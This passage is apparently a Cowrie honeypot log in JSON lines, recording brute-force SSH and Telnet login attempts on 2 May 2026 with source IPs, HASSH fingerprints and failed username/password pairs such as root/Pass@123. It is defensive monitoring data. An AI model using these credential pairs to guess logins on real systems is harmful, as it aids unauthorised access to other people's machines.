{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57934,"dst_ip":"10.17.0.5","dst_port":22,"session":"12712f95c51d","protocol":"ssh","message":"New connection: 176.65.132.254:57934 (10.17.0.5:22) [session: 12712f95c51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:04.572591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:04.579200Z","src_ip":"176.65.132.254","session":"12712f95c51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:04.661929Z","src_ip":"176.65.132.254","session":"12712f95c51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:04.938111Z","src_ip":"176.65.132.254","session":"12712f95c51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:06.180727Z","src_ip":"176.65.132.254","session":"12712f95c51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55300,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f5a3b5ddf1","protocol":"telnet","message":"New connection: 38.54.119.93:55300 (10.17.0.5:23) [session: d9f5a3b5ddf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:06.685690Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57944,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d6f2a9f4163","protocol":"ssh","message":"New connection: 176.65.132.254:57944 (10.17.0.5:22) [session: 7d6f2a9f4163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:08.537822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:08.635664Z","src_ip":"176.65.132.254","session":"7d6f2a9f4163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:08.795309Z","src_ip":"176.65.132.254","session":"7d6f2a9f4163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:09.052424Z","src_ip":"176.65.132.254","session":"7d6f2a9f4163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:10.145025Z","src_ip":"176.65.132.254","session":"7d6f2a9f4163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44404,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf3d607ea3c","protocol":"ssh","message":"New connection: 176.65.132.254:44404 (10.17.0.5:22) [session: ddf3d607ea3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:12.669684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:12.673756Z","src_ip":"176.65.132.254","session":"ddf3d607ea3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:12.757517Z","src_ip":"176.65.132.254","session":"ddf3d607ea3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.087360382080078,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:12.772919Z","src_ip":"38.54.119.93","session":"d9f5a3b5ddf1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:13.037910Z","src_ip":"176.65.132.254","session":"ddf3d607ea3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57618,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8caadadb469","protocol":"telnet","message":"New connection: 134.209.8.29:57618 (159.203.135.109:23) [session: c8caadadb469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:13.529351Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:14.149129Z","src_ip":"176.65.132.254","session":"ddf3d607ea3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97eaee974e7","protocol":"ssh","message":"New connection: 176.65.132.254:44414 (10.17.0.5:22) [session: b97eaee974e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:16.752773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:16.757954Z","src_ip":"176.65.132.254","session":"b97eaee974e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:16.840113Z","src_ip":"176.65.132.254","session":"b97eaee974e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:17.086004Z","src_ip":"176.65.132.254","session":"b97eaee974e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:18.174255Z","src_ip":"176.65.132.254","session":"b97eaee974e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.251911640167236,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:20.432388Z","src_ip":"134.209.8.29","session":"d023782d65e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44426,"dst_ip":"10.17.0.5","dst_port":22,"session":"af58eed4da3b","protocol":"ssh","message":"New connection: 176.65.132.254:44426 (10.17.0.5:22) [session: af58eed4da3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:20.674984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:20.680491Z","src_ip":"176.65.132.254","session":"af58eed4da3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:20.770785Z","src_ip":"176.65.132.254","session":"af58eed4da3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:21.037567Z","src_ip":"176.65.132.254","session":"af58eed4da3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57634,"dst_ip":"159.203.135.109","dst_port":23,"session":"b734907b02cd","protocol":"telnet","message":"New connection: 134.209.8.29:57634 (159.203.135.109:23) [session: b734907b02cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:21.466331Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:22.137254Z","src_ip":"176.65.132.254","session":"af58eed4da3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.819130420684814,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:22.348337Z","src_ip":"134.209.8.29","session":"c8caadadb469","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.439687967300415,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:22.611288Z","src_ip":"134.209.8.29","session":"e5a2894ce3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34152,"dst_ip":"159.203.135.109","dst_port":23,"session":"90078252ef40","protocol":"telnet","message":"New connection: 134.209.8.29:34152 (159.203.135.109:23) [session: 90078252ef40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:22.795147Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":30926,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3477ae00b0","protocol":"ssh","message":"New connection: 205.254.166.101:30926 (159.203.135.109:22) [session: 3a3477ae00b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.299133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.303701Z","src_ip":"205.254.166.101","session":"3a3477ae00b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.509974Z","src_ip":"205.254.166.101","session":"3a3477ae00b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52554,"dst_ip":"10.17.0.5","dst_port":22,"session":"385b95a05cd7","protocol":"ssh","message":"New connection: 176.65.132.254:52554 (10.17.0.5:22) [session: 385b95a05cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.740252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.745757Z","src_ip":"176.65.132.254","session":"385b95a05cd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:24.824400Z","src_ip":"176.65.132.254","session":"385b95a05cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:25.144851Z","src_ip":"176.65.132.254","session":"385b95a05cd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"0000","message":"login attempt [user1/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:25.371079Z","src_ip":"205.254.166.101","session":"3a3477ae00b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.037057399749756,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:25.503257Z","src_ip":"134.209.8.29","session":"b734907b02cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:26.268905Z","src_ip":"176.65.132.254","session":"385b95a05cd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:26.580390Z","src_ip":"205.254.166.101","session":"3a3477ae00b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52568,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc07210e34c","protocol":"ssh","message":"New connection: 176.65.132.254:52568 (10.17.0.5:22) [session: 0fc07210e34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:28.645744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:28.650257Z","src_ip":"176.65.132.254","session":"0fc07210e34c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2